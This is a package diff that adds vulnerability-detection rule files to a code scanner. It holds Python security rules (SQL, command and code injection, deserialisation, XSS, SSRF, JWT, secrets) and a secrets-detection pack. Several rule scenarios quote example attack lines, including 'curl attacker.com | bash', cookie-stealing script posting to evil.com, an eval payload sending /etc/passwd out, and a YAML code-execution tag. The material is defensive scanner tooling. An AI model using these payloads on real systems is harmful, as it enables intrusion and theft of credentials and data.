@activemind/scd 1.4.0

package/rules/rules-python.json

@@ -0,0 +1,466 @@
+{
+  "schema_version": 1,
+  "rules": [
+    {
+      "id": "PY-INJ-001",
+      "variant": "direct",
+      "name": "SQL Injection – string formatting in query",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "pattern": "(?:execute|executemany)\\s*\\(\\s*(?:[f]['\\\"]|['\\\"][^'\\\"]*(?:%s|%d|{)[^'\\\"]*['\\\"]|['\\\"][^'\\\"]*['\\\"]\\\\.format\\s*\\()",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "Python string formatting is used to build SQL queries with user input.",
+      "scenario": "An attacker sends ' OR '1'='1 as a parameter and gains access to the entire database.",
+      "fix": "Always use parameterised queries: cursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))"
+    },
+    {
+      "id": "PY-INJ-002",
+      "variant": "direct",
+      "name": "Command Injection – subprocess with shell=True and user input",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "pattern": "(?:os\\.system|os\\.popen)\\s*\\(\\s*(?:[f]['\\\"]|(?:cmd|command|input|user_input|request\\.|args\\.|kwargs\\.))|subprocess\\.(?:call|run|Popen|check_output)\\s*\\([^)]*shell\\s*=\\s*True[^)]*[f]['\\\"][^)]*\\)|subprocess\\.(?:call|run|Popen|check_output)\\s*\\([^)]*[f]['\\\"][^)]*shell\\s*=\\s*True",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "Shell commands built with user input and executed with shell=True allow attackers to inject arbitrary shell commands.",
+      "scenario": "An attacker sends \"; cat /etc/passwd\" as input and the server executes it as a shell command.",
+      "fix": "Use subprocess with a list instead of a string: subprocess.run([\"ls\", path], shell=False). Never pass shell=True with user input."
+    },
+    {
+      "id": "PY-INJ-003",
+      "name": "Unsafe deserialisation – pickle.loads",
+      "severity": "CRITICAL",
+      "category": "Insecure Deserialization (OWASP A08)",
+      "pattern": "pickle\\.(?:loads|load|Unpickler)\\s*\\(",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "pickle.loads() can execute arbitrary Python code when deserialising untrusted data.",
+      "scenario": "An attacker sends a crafted pickle object that on deserialisation executes os.system(\"curl attacker.com | bash\").",
+      "fix": "Never use pickle for data from external sources. Use JSON, msgpack or signed formats instead."
+    },
+    {
+      "id": "PY-INJ-001",
+      "variant": "taint",
+      "name": "SQL Injection – tainted variable in query",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "taint_aware": true,
+      "taint_extract": "func_concat",
+      "pattern": "(?:execute|executemany)\\s*\\(\\s*[^\\n'\\\"]{0,200}",
+      "flags": "g",
+      "antipattern": "execute\\s*\\(\\s*['\\\"]s*(?:SELECT|INSERT|UPDATE|DELETE)[^'\\\"]*(?:\\?|%s)\\s*['\\\"][^)]*\\)|execute\\s*\\(\\s*['\\\"]s*(?:SELECT|INSERT|UPDATE|DELETE)[^'\\\"]*['\\\"],\\s*[(\\[]",
+      "antipattern_flags": "i",
+      "file_types": [
+        "py"
+      ],
+      "why": "A variable assigned from request input is passed into a database query without parameterisation.",
+      "scenario": "user_id = request.args.get(\"id\") followed by cursor.execute(\"SELECT ... WHERE id = \" + user_id) — attacker injects arbitrary SQL.",
+      "fix": "Use parameterised queries: cursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))"
+    },
+    {
+      "id": "PY-INJ-002",
+      "variant": "taint",
+      "name": "Command Injection – tainted variable in shell command",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "taint_aware": true,
+      "taint_extract": "func_concat",
+      "pattern": "(?:os\\.system|os\\.popen|subprocess\\.(?:call|run|Popen|check_output))\\s*\\(\\s*[^\\n]{0,200}",
+      "flags": "g",
+      "antipattern": "shell\\s*=\\s*False|\\bshlex\\.quote\\b|^\\s*#",
+      "file_types": [
+        "py"
+      ],
+      "why": "A variable assigned from request input is passed to a shell command without sanitisation.",
+      "scenario": "cmd = request.args.get(\"cmd\") followed by os.system(cmd) — attacker executes arbitrary system commands.",
+      "fix": "Never pass user input to shell commands. Use subprocess with a list and shell=False."
+    },
+    {
+      "id": "PY-INJ-006",
+      "name": "Unparameterized query – dynamic string construction",
+      "severity": "HIGH",
+      "category": "Injection (OWASP A03)",
+      "pattern": "(?:execute|executemany)\\s*\\((?!\\s*['\\\"][^'\\\"]*['\\\"],\\s*[(\\[])(?:[^)]{0,400})(?:\\.format\\s*\\(|['\\\"]\\s*\\+\\s*\\w|\\w\\s*\\+\\s*['\\\"])",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "The SQL query is constructed with string formatting or concatenation. Even if the current values are safe, this pattern makes future SQL injection vulnerabilities likely.",
+      "scenario": "A developer adds a new parameter later and follows the same pattern — one dynamic value without parameterisation exposes the entire query to injection.",
+      "fix": "Always use parameterised queries: cursor.execute(\"SELECT * FROM t WHERE id = %s\", (user_id,)) — the database driver handles escaping safely."
+    },
+    {
+      "id": "PY-AUTH-001",
+      "name": "Flask route missing authentication decorator",
+      "severity": "HIGH",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "@app\\.route\\s*\\([^)]+\\)\\s*\\ndef\\s+\\w+\\s*\\([^)]*\\)\\s*:",
+      "flags": "g",
+      "antipattern": "@(?:login_required|jwt_required|token_required|permission_required|roles_required)",
+      "lookahead": 50,
+      "file_types": [
+        "py"
+      ],
+      "why": "Flask route is missing an authentication decorator — the endpoint can be reached without logging in.",
+      "scenario": "Anyone can call the endpoint directly and access protected data or functionality.",
+      "fix": "Add @login_required (Flask-Login) or @jwt_required (Flask-JWT) above the route function."
+    },
+    {
+      "id": "PY-AUTH-002",
+      "name": "Mass assignment – **request.form / **request.json",
+      "severity": "HIGH",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "(?:Model|create|update)\\s*\\(\\s*\\*\\*(?:request\\.(?:form|json|data|args)|kwargs)\\s*\\)",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "The entire request object is passed to the model without filtering allowed fields.",
+      "scenario": "An attacker adds is_admin=True to their request and gains administrator privileges if the field exists in the model.",
+      "fix": "Explicitly whitelist which fields may be set: User(name=data[\"name\"], email=data[\"email\"])"
+    },
+    {
+      "id": "PY-AUTH-003",
+      "name": "IDOR – object fetched without ownership check",
+      "severity": "HIGH",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "(?:get_or_404|get|filter_by\\s*\\(\\s*id\\s*=)\\s*\\(\\s*(?:request\\.|kwargs\\[|args\\[)",
+      "flags": "g",
+      "antipattern": "(?:user_id|owner_id|created_by)\\s*=",
+      "lookahead": 200,
+      "file_types": [
+        "py"
+      ],
+      "why": "Objects are fetched directly with an ID from the request without verifying that the user owns them.",
+      "scenario": "A user can change the ID in the URL and access another user's data.",
+      "fix": "Always filter by owner: Object.query.filter_by(id=obj_id, user_id=current_user.id).first_or_404()"
+    },
+    {
+      "id": "PY-CRYPTO-001",
+      "name": "Weak password hashing algorithm (MD5/SHA1)",
+      "severity": "HIGH",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "hashlib\\.(?:md5|sha1)\\s*\\(\\s*(?:password|passwd|pwd|secret)",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "MD5 and SHA1 are cryptographically broken and unsuitable for password hashing.",
+      "scenario": "An attacker who steals your database can crack MD5-hashed passwords using rainbow tables in seconds.",
+      "fix": "Use bcrypt or argon2: from passlib.hash import bcrypt; bcrypt.hash(password)"
+    },
+    {
+      "id": "PY-CRYPTO-002",
+      "name": "Hardcoded secret key in Django/Flask",
+      "severity": "CRITICAL",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "SECRET_KEY\\s*=\\s*['\\\"][^'\\\"]{8,}['\\\"]",
+      "flags": "g",
+      "antipattern": "os\\.(?:environ|getenv)|config\\[",
+      "lookahead": 10,
+      "file_types": [
+        "py"
+      ],
+      "why": "A hardcoded SECRET_KEY in the settings file is exposed in version control and to everyone with repository access.",
+      "scenario": "With the SECRET_KEY an attacker can sign their own session cookies or CSRF tokens and hijack any user session.",
+      "fix": "Read from environment variable: SECRET_KEY = os.environ.get('SECRET_KEY') and store in .env (outside git)."
+    },
+    {
+      "id": "PY-SECRET-001",
+      "name": "Hardcoded database connection string with password",
+      "severity": "HIGH",
+      "category": "Security Misconfiguration (OWASP A05)",
+      "pattern": "(?:DATABASE_URL|SQLALCHEMY_DATABASE_URI|db_url)\\s*=\\s*['\\\"](?:postgres|mysql|mongodb):\\/\\/[^:'\\\"]+:[^@'\\\"]+@",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "The database connection string containing the password is hardcoded in the source code.",
+      "scenario": "Anyone with read access to the repository — including former employees and external contractors — now has the database password.",
+      "fix": "Use an environment variable: DATABASE_URL = os.environ.get('DATABASE_URL')"
+    },
+    {
+      "id": "PY-JWT-001",
+      "name": "JWT decoded without signature verification",
+      "severity": "CRITICAL",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "jwt\\.decode\\s*\\([^)]{0,300}(?:options\\s*=\\s*\\{[^}]*[\\\"']verify_signature[\\\"']\\s*:\\s*False|algorithms\\s*=\\s*\\[[^\\]]*[\\\"']none[\\\"']|,\\s*None\\s*[,)])",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "Disabling signature verification means anyone can forge a JWT with arbitrary claims — including elevated roles or another user's identity — without knowing the secret key.",
+      "scenario": "AI generates jwt.decode(token, options={\"verify_signature\": False}) to \"simplify\" token parsing. An attacker crafts a token with {\"role\": \"admin\", \"user_id\": 1} and accesses any endpoint.",
+      "fix": "Always verify: jwt.decode(token, SECRET_KEY, algorithms=[\"HS256\"]). Never pass verify_signature=False or algorithms=[\"none\"] in production code."
+    },
+    {
+      "id": "PY-JWT-002",
+      "name": "JWT accepted with algorithm \"none\" – signature bypassed",
+      "severity": "CRITICAL",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "(?:algorithm|algorithms)\\s*=\\s*\\[?[^\\]]*?[\\\"']none[\\\"']",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "The \"none\" algorithm means the JWT has no signature at all. Any client can issue a token with arbitrary claims and the server will accept it as valid.",
+      "scenario": "A configuration accepts algorithms=[\"HS256\", \"none\"]. An attacker strips the signature from a valid token, changes the payload, and re-submits. The server accepts it.",
+      "fix": "Explicitly allowlist only strong algorithms: algorithms=[\"HS256\"] or algorithms=[\"RS256\"]. Never include \"none\" in the list."
+    },
+    {
+      "id": "PY-REDIRECT-001",
+      "name": "Open redirect – user-controlled URL passed to redirect()",
+      "severity": "HIGH",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "(?:redirect|HttpResponseRedirect|HttpResponsePermanentRedirect)\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST|values)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|(?:next|next_url|return_url|redirect_url|target|destination)\\s*(?=[,)]))",
+      "flags": "g",
+      "antipattern": "(?:url_for|urlparse|is_safe_url|allowed_hosts|startswith\\s*\\(['\\\"]\\/)",
+      "lookahead": 200,
+      "file_types": [
+        "py"
+      ],
+      "why": "Redirecting to a URL taken directly from user input enables phishing attacks. An attacker crafts a link to your site that silently forwards victims to a malicious site after login.",
+      "scenario": "Login endpoint does redirect(request.args.get(\"next\")). Attacker shares link: /login?next=https://evil.com. After login, user is redirected to the attacker's phishing page.",
+      "fix": "Validate the redirect target: use url_for() for internal routes, or check with urllib.parse that the host matches your own domain before redirecting."
+    },
+    {
+      "id": "PY-PATH-001",
+      "variant": "direct",
+      "name": "Path traversal – user input used directly in file open()",
+      "severity": "CRITICAL",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "open\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST|values|files)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|flask\\.request\\.|g\\.get\\s*\\([^)]*(?:file|path|name)|f['\\\"][^'\\\"]*\\{\\s*(?:filename|filepath|file_name|file_path|name|path|user_input|input)\\s*[}]|(?:base_?dir|upload_?dir|root_?dir|base_?path)\\s*\\+\\s*(?:filename|filepath|name|path|user_input)|os\\.path\\.join\\s*\\([^)]*request\\.)",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "Using web request input as a file path without sanitization allows attackers to read arbitrary files using path traversal sequences like ../../etc/passwd.",
+      "scenario": "Endpoint reads open(request.args.get(\"file\")). Attacker requests ?file=../../etc/passwd and receives the system password file.",
+      "fix": "Use os.path.basename() to strip directory components, then join to a fixed base path: safe_path = os.path.join(UPLOAD_DIR, os.path.basename(filename)). Verify the result still starts with UPLOAD_DIR."
+    },
+    {
+      "id": "PY-PATH-002",
+      "name": "Path traversal – user input in Flask send_file()",
+      "severity": "CRITICAL",
+      "category": "Broken Access Control (OWASP A01)",
+      "pattern": "send_file\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|os\\.path\\.join\\s*\\([^)]*(?:request\\.|args\\.|filename))",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "Flask's send_file() will serve any file the process has read access to. With user-controlled paths, attackers can download source code, config files, or credentials.",
+      "scenario": "Endpoint calls send_file(request.args.get(\"name\")). Attacker requests ?name=../../config/settings.py and downloads the application source including SECRET_KEY.",
+      "fix": "Use send_from_directory() with a fixed directory and basename only: send_from_directory(UPLOAD_DIR, os.path.basename(filename)). Never pass user input directly to send_file()."
+    },
+    {
+      "id": "PY-PATH-001",
+      "variant": "taint",
+      "name": "Path traversal – tainted variable used in file open()",
+      "severity": "CRITICAL",
+      "category": "Broken Access Control (OWASP A01)",
+      "taint_aware": true,
+      "taint_extract": "func_concat",
+      "pattern": "open\\s*\\(\\s*[^\\n]{0,200}",
+      "flags": "g",
+      "antipattern": "os\\.path\\.basename|os\\.path\\.join\\s*\\([^)]*(?:UPLOAD|BASE|SAFE|ROOT)_DIR|send_from_directory",
+      "antipattern_flags": "i",
+      "file_types": [
+        "py"
+      ],
+      "why": "A variable assigned from request input is used as a file path without sanitisation.",
+      "scenario": "filename = request.args.get(\"file\") followed by open(filename) — attacker requests ?file=../../etc/passwd.",
+      "fix": "Use os.path.basename() and join to a fixed directory: os.path.join(UPLOAD_DIR, os.path.basename(filename)). Verify result starts with UPLOAD_DIR."
+    },
+    {
+      "id": "PY-CRYPTO-003",
+      "name": "Weak random generator used for security-sensitive value",
+      "severity": "HIGH",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "random\\.(?:random|randint|randrange|choice|choices|shuffle)\\s*\\([^)]{0,60}\\)[\\s\\S]{0,150}(?:token|password|secret|otp|code|csrf|nonce|salt|key|session)|\\b(?:token|password|secret|otp|code|csrf|nonce|salt|key|session)\\b[\\s\\S]{0,150}random\\.(?:random|randint|randrange|choice|choices)\\s*\\(",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "Python's random module uses the Mersenne Twister algorithm — a PRNG designed for simulations, not security. With 624 observed 32-bit outputs an attacker can fully reconstruct its internal state and predict all future values.",
+      "scenario": "token = \"\".join(random.choices(string.ascii_letters, k=32)) used as a password-reset token. The Mersenne Twister state can be recovered from enough observed tokens, making all future tokens predictable.",
+      "fix": "Use the secrets module (Python 3.6+): import secrets; token = secrets.token_hex(32). For random integers: secrets.randbelow(1000000). The secrets module uses os.urandom() which reads from the OS CSPRNG."
+    },
+    {
+      "id": "PY-CRYPTO-004",
+      "name": "Hardcoded encryption key or IV in crypto operation",
+      "severity": "CRITICAL",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "(?:AES\\.new|Cipher\\s*\\(\\s*algorithms\\.AES|Fernet\\s*\\()\\s*\\(\\s*b?['\\\"][a-zA-Z0-9+\\/=\\-_]{8,}['\\\"]",
+      "flags": "g",
+      "antipattern": "os\\.environ|config\\.|getenv",
+      "antipattern_flags": "i",
+      "lookahead": 60,
+      "file_types": [
+        "py"
+      ],
+      "why": "Hardcoding an AES key in source code exposes it to everyone with repository access. A static key also means key rotation requires a code deploy and re-encryption of all stored data.",
+      "scenario": "cipher = AES.new(b\"mysecretkey12345\", AES.MODE_CBC, b\"myiv1234myiv1234\") in source. Attacker reads key from GitHub, decrypts all data encrypted with it.",
+      "fix": "key = bytes.fromhex(os.environ[\"ENCRYPTION_KEY\"])  # generate: python -c \"import os; print(os.urandom(32).hex())\"\nFor IV: iv = os.urandom(16)  # fresh IV per encryption, stored alongside ciphertext."
+    },
+    {
+      "id": "PY-XSS-001",
+      "name": "Jinja2 |safe filter applied to user-controlled value — XSS",
+      "severity": "HIGH",
+      "category": "Injection (OWASP A03)",
+      "pattern": "\\{\\{\\s*(?:request\\s*\\.\\s*(?:args|form|json|values)|[\\w.]+(?:input|user|name|comment|bio|content|query|search|message)[\\w.]*)\\s*\\|?\\s*safe\\s*\\}\\}|Markup\\s*\\(\\s*(?:request\\s*\\.|[\\w.]+(?:input|user|body))",
+      "flags": "gi",
+      "file_types": [
+        "py",
+        "html"
+      ],
+      "why": "The |safe filter in Jinja2 tells the template engine to render the value as raw HTML without escaping. If the value contains attacker-controlled content, any HTML including <script> tags is rendered in the browser.",
+      "scenario": "{{ user.bio | safe }} renders a user profile bio without escaping. Attacker sets their bio to <script>fetch(\"https://evil.com/steal?c=\"+document.cookie)</script>. Every visitor who views the profile executes the script.",
+      "fix": "Never use |safe on user-supplied data. Jinja2 escapes by default — let it. If you need to render rich content, sanitize first with bleach: import bleach; clean = bleach.clean(user_input, tags=[\"p\",\"b\",\"i\"], strip=True); then pass clean to the template without |safe."
+    },
+    {
+      "id": "PY-XSS-002",
+      "name": "render_template_string() with user input — XSS and SSTI",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "pattern": "render_template_string\\s*\\(\\s*(?:request\\s*\\.|f['\\\"]|[\\w.]*(?:input|user|body|data|content|query))",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "render_template_string() compiles and executes a Jinja2 template from a string at runtime. If user input is part of the template string (not just a variable value), the attacker can inject Jinja2 expressions to read app secrets or achieve remote code execution.",
+      "scenario": "render_template_string(f\"Hello {request.args['name']}!\") — attacker passes name={{config}} and receives the Flask app configuration including SECRET_KEY. With further payloads, full RCE is possible.",
+      "fix": "Never pass user input as part of the template string itself. Use render_template() with a static template file and pass user data as variables: return render_template(\"hello.html\", name=request.args[\"name\"])."
+    },
+    {
+      "id": "PY-XSS-003",
+      "name": "Django mark_safe() applied to user-controlled value — XSS",
+      "severity": "HIGH",
+      "category": "Injection (OWASP A03)",
+      "pattern": "mark_safe\\s*\\(\\s*(?:request\\s*\\.\\s*(?:GET|POST|META)|[\\w.]*(?:input|user|comment|bio|content|body|message|name)[\\w.]*(?:\\.get\\s*\\(|\\.data)?)",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "Django's mark_safe() tells the template engine that the string is safe to render as HTML without escaping. If the input comes from user data, attackers can inject arbitrary HTML and JavaScript.",
+      "scenario": "mark_safe(user.bio) in a view or serializer. Bio contains <img src=x onerror=alert(document.cookie)>. When rendered in any template, the browser executes the payload and exfiltrates session cookies.",
+      "fix": "Do not call mark_safe() on user data. Django escapes template variables by default. For rich text: use bleach to sanitize to an allowlist of safe HTML tags before storing."
+    },
+    {
+      "id": "PY-SSRF-001",
+      "name": "SSRF — user-controlled URL passed to requests or urllib",
+      "severity": "HIGH",
+      "category": "Server-Side Request Forgery (OWASP A10)",
+      "pattern": "(?:requests\\s*\\.\\s*(?:get|post|put|delete|request|head)|urllib\\s*\\.\\s*request\\s*\\.\\s*urlopen|httpx\\s*\\.\\s*(?:get|post|AsyncClient))\\s*\\(\\s*(?:request\\s*\\.\\s*(?:args|form|json|values)|[\\w.]*(?:url|endpoint|target|host|webhook)[\\s\\S]{0,60}request\\s*\\.)",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "Server-Side Request Forgery allows attackers to make the application send HTTP requests to internal infrastructure. Cloud environments are particularly vulnerable — the metadata endpoint at 169.254.169.254 exposes IAM credentials.",
+      "scenario": "requests.get(request.args.get(\"url\")) to fetch a remote image. Attacker passes url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name. Server returns AWS keys.",
+      "fix": "Validate the URL before making the request: from urllib.parse import urlparse; parsed = urlparse(url); assert parsed.scheme in (\"http\",\"https\") and parsed.hostname in ALLOWED_HOSTS."
+    },
+    {
+      "id": "PY-INJ-004",
+      "name": "Unsafe YAML deserialization — yaml.load() without SafeLoader",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "pattern": "yaml\\s*\\.\\s*load\\s*\\([^)]{0,200}\\)(?![^;]{0,100}Loader\\s*=\\s*yaml\\.(?:Safe|Base|Full)Loader)",
+      "flags": "g",
+      "antipattern": "Loader\\s*=\\s*yaml\\.(?:Safe|Base|Full)Loader|yaml\\.safe_load",
+      "antipattern_flags": "i",
+      "lookahead": 80,
+      "file_types": [
+        "py"
+      ],
+      "why": "yaml.load() without a safe Loader executes arbitrary Python objects embedded in the YAML document using !!python/object tags. An attacker who controls the YAML input can achieve remote code execution.",
+      "scenario": "yaml.load(request.data) to parse a user-supplied config. Attacker sends: !!python/object/apply:subprocess.check_output [[\"id\"]]. Server executes the system command.",
+      "fix": "Always use safe_load: yaml.safe_load(data). Or explicitly specify: yaml.load(data, Loader=yaml.SafeLoader)."
+    },
+    {
+      "id": "PY-INJ-005",
+      "name": "Code injection — eval() or exec() with user-controlled input",
+      "severity": "CRITICAL",
+      "category": "Injection (OWASP A03)",
+      "pattern": "\\b(?:eval|exec)\\s*\\(\\s*(?:request\\s*\\.\\s*(?:args|form|json|data|values)|[\\w.]*(?:input|user|code|expr|query|cmd|command)[\\w.]*\\s*(?:\\.get\\s*\\(|\\.data|\\[))",
+      "flags": "gi",
+      "file_types": [
+        "py"
+      ],
+      "why": "eval() and exec() execute arbitrary Python code. Any user-controlled string passed to these functions gives the attacker full code execution on the server.",
+      "scenario": "eval(request.args.get(\"formula\")) to evaluate a user-provided math expression. Attacker passes: __import__(\"os\").system(\"curl https://evil.com/$(cat /etc/passwd)\"). Server exfiltrates the password file.",
+      "fix": "Never use eval/exec with user input. For math expressions use a safe parser: import ast; ast.literal_eval() for literals only."
+    },
+    {
+      "id": "PY-EXPOSURE-001",
+      "name": "Django DEBUG=True — debug mode enabled in code",
+      "severity": "EXPOSURE",
+      "category": "Security Misconfiguration (OWASP A05)",
+      "pattern": "^\\s*DEBUG\\s*=\\s*True\\b",
+      "flags": "gm",
+      "antipattern": "os\\.environ|getenv|config\\.",
+      "antipattern_flags": "i",
+      "lookahead": 40,
+      "file_types": [
+        "py"
+      ],
+      "why": "DEBUG=True enables the Django debug page which displays full stack traces, local variable values, SQL queries, and loaded settings — including SECRET_KEY and database credentials — to anyone who triggers an error.",
+      "scenario": "settings.py shipped with DEBUG=True to production. Any unhandled exception returns a full debug page showing the database connection string, all installed middleware, and the complete request/response cycle.",
+      "fix": "DEBUG = os.environ.get(\"DJANGO_DEBUG\", \"False\") == \"True\". In production the variable should never be set, defaulting to False."
+    },
+    {
+      "id": "PY-EXPOSURE-002",
+      "name": "Django SECRET_KEY hardcoded — cryptographic key in source",
+      "severity": "EXPOSURE",
+      "category": "Security Misconfiguration (OWASP A05)",
+      "pattern": "SECRET_KEY\\s*=\\s*['\\\"][^'\\\"]{8,}['\\\"]",
+      "flags": "g",
+      "antipattern": "os\\.environ|getenv|config\\.|env\\(",
+      "antipattern_flags": "i",
+      "lookahead": 40,
+      "file_types": [
+        "py"
+      ],
+      "why": "Django's SECRET_KEY is used to sign cookies, sessions, CSRF tokens, and password reset links. If it leaks, attackers can forge all of these.",
+      "scenario": "SECRET_KEY = \"django-insecure-abc123...\" committed to a public repo. Attacker uses it to forge session cookies and bypass authentication.",
+      "fix": "SECRET_KEY = os.environ[\"DJANGO_SECRET_KEY\"]. Generate: python -c \"from django.core.management.utils import get_random_secret_key; print(get_random_secret_key())\""
+    },
+    {
+      "id": "PY-EXPOSURE-003",
+      "name": "Flask SECRET_KEY hardcoded or set to weak value",
+      "severity": "EXPOSURE",
+      "category": "Security Misconfiguration (OWASP A05)",
+      "pattern": "app\\s*\\.\\s*(?:secret_key|config\\s*\\[\\s*['\\\"]SECRET_KEY['\\\"]\\s*\\])\\s*=\\s*['\\\"][^'\\\"]{1,}['\\\"]",
+      "flags": "g",
+      "antipattern": "os\\.environ|getenv|config\\.",
+      "antipattern_flags": "i",
+      "lookahead": 40,
+      "file_types": [
+        "py"
+      ],
+      "why": "Flask uses SECRET_KEY to cryptographically sign session cookies. A hardcoded or weak key allows attackers to forge session data, escalate privileges, or impersonate any user.",
+      "scenario": "app.secret_key = \"dev\" in production. Attacker signs a session cookie with role=admin using the known key. Flask accepts the cookie as legitimate and grants admin access.",
+      "fix": "app.secret_key = os.environ[\"FLASK_SECRET_KEY\"]. Generate: python -c \"import secrets; print(secrets.token_hex(32))\""
+    },
+    {
+      "id": "PY-EXPOSURE-004",
+      "name": "ALLOWED_HOSTS includes wildcard — accepts requests for any hostname",
+      "severity": "EXPOSURE",
+      "category": "Security Misconfiguration (OWASP A05)",
+      "pattern": "ALLOWED_HOSTS\\s*=\\s*\\[['\\\"\\s]*\\*['\\\"\\s]*\\]",
+      "flags": "g",
+      "file_types": [
+        "py"
+      ],
+      "why": "ALLOWED_HOSTS = [\"*\"] disables Django's host header validation. This enables HTTP Host header injection attacks.",
+      "scenario": "Password reset email uses request.get_host() to build the reset URL. With ALLOWED_HOSTS=[\"*\"], attacker sends a reset request with Host: evil.com. Reset email contains a link to evil.com — attacker captures the reset token.",
+      "fix": "ALLOWED_HOSTS = [os.environ.get(\"ALLOWED_HOST\", \"yourdomain.com\")]. Never use [\"*\"] in production."
+    }
+  ]
+}

package/rules/rules-secrets.json

@@ -0,0 +1,99 @@
+{
+  "schema_version": 1,
+  "pack_id": "secrets",
+  "pack_name": "Secrets Detection",
+  "pack_version": "1.0.0",
+  "rules": [
+    {
+      "id": "SECRET-001",
+      "name": "AWS Access Key",
+      "severity": "CRITICAL",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "AKIA[0-9A-Z]{16}",
+      "flags": "g",
+      "why": "AWS Access Keys grant direct access to your cloud services and resources.",
+      "scenario": "An attacker who finds the key can launch servers, read S3 buckets, and delete data on your behalf — charges and breaches may go unnoticed for days.",
+      "fix": "Use environment variables or AWS IAM roles instead. Rotate the key immediately via the AWS Console and audit CloudTrail for unauthorized usage."
+    },
+    {
+      "id": "SECRET-002",
+      "name": "OpenAI API Key",
+      "severity": "CRITICAL",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "sk-[a-zA-Z0-9]{20,}",
+      "flags": "g",
+      "why": "An OpenAI API key in source code can be used by anyone who reads the repository — including forks and search engine caches.",
+      "scenario": "Automated scanners harvest OpenAI keys from GitHub within minutes of a push. Usage costs can reach thousands of dollars before the key is revoked.",
+      "fix": "Store in a .env file (with .env in .gitignore) or in your platform's secret manager. Revoke the exposed key at platform.openai.com/api-keys."
+    },
+    {
+      "id": "SECRET-003",
+      "name": "GitHub Personal Access Token",
+      "severity": "CRITICAL",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "ghp_[a-zA-Z0-9]{36}",
+      "flags": "g",
+      "why": "GitHub tokens grant access to your repositories and organization settings, scoped to whatever permissions were granted at creation.",
+      "scenario": "With a valid token, an attacker can read private code, push commits, create webhooks, or inject malicious code into your repository.",
+      "fix": "Use GitHub Actions secrets for CI/CD: ${{ secrets.MY_TOKEN }}. Revoke the exposed token immediately at github.com/settings/tokens."
+    },
+    {
+      "id": "SECRET-004",
+      "name": "Generic API Key (hardcoded)",
+      "severity": "HIGH",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "(?:api[_-]?key|apikey|api[_-]?secret)\\s*[:=]\\s*['\"][a-zA-Z0-9_\\-]{16,}['\"]",
+      "flags": "gi",
+      "why": "Hardcoded API keys are exposed to everyone who can read the source code — including all contributors, contractors, and anyone who gains repository access.",
+      "scenario": "If the repository is shared with a consultant or accidentally made public, the API key is immediately exposed to external parties.",
+      "fix": "Move to an environment variable: process.env.API_KEY or the equivalent for your language. Store the value in a .env file excluded from git, or use a secrets manager."
+    },
+    {
+      "id": "SECRET-005",
+      "name": "Hardcoded password",
+      "severity": "HIGH",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "(?:password|passwd|pwd)\\s*[:=]\\s*['\"][^'\"]{6,}['\"]",
+      "flags": "gi",
+      "antipattern": "input\\[|\\.val\\(\\)|getElementById|querySelector|getenv|process\\.env|os\\.environ|name\\s*=\\s*['\"]password|type\\s*=\\s*['\"]password|password=[\"']\\s*\\+\\s*\\w|&password=[\"']\\s*\\+|(?:string|var|const|let)\\s+\\w*[Pp]assword",
+      "antipattern_flags": "i",
+      "lookahead": 80,
+      "why": "Hardcoded passwords in source code are one of the most common vulnerabilities in AI-generated code. They end up in version control history permanently — even after deletion.",
+      "scenario": "An AI coding tool fills in a sample password that gets committed and forgotten. Anyone with repository access — including future contributors — can see it forever in git history.",
+      "fix": "Use environment variables or a secrets manager. Ensure .env is in .gitignore. For .NET: use Web.config encrypted sections or environment variables via ConfigurationManager."
+    },
+    {
+      "id": "SECRET-006",
+      "name": "Private key (PEM format)",
+      "severity": "CRITICAL",
+      "category": "Cryptographic Failures (OWASP A02)",
+      "pattern": "-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----",
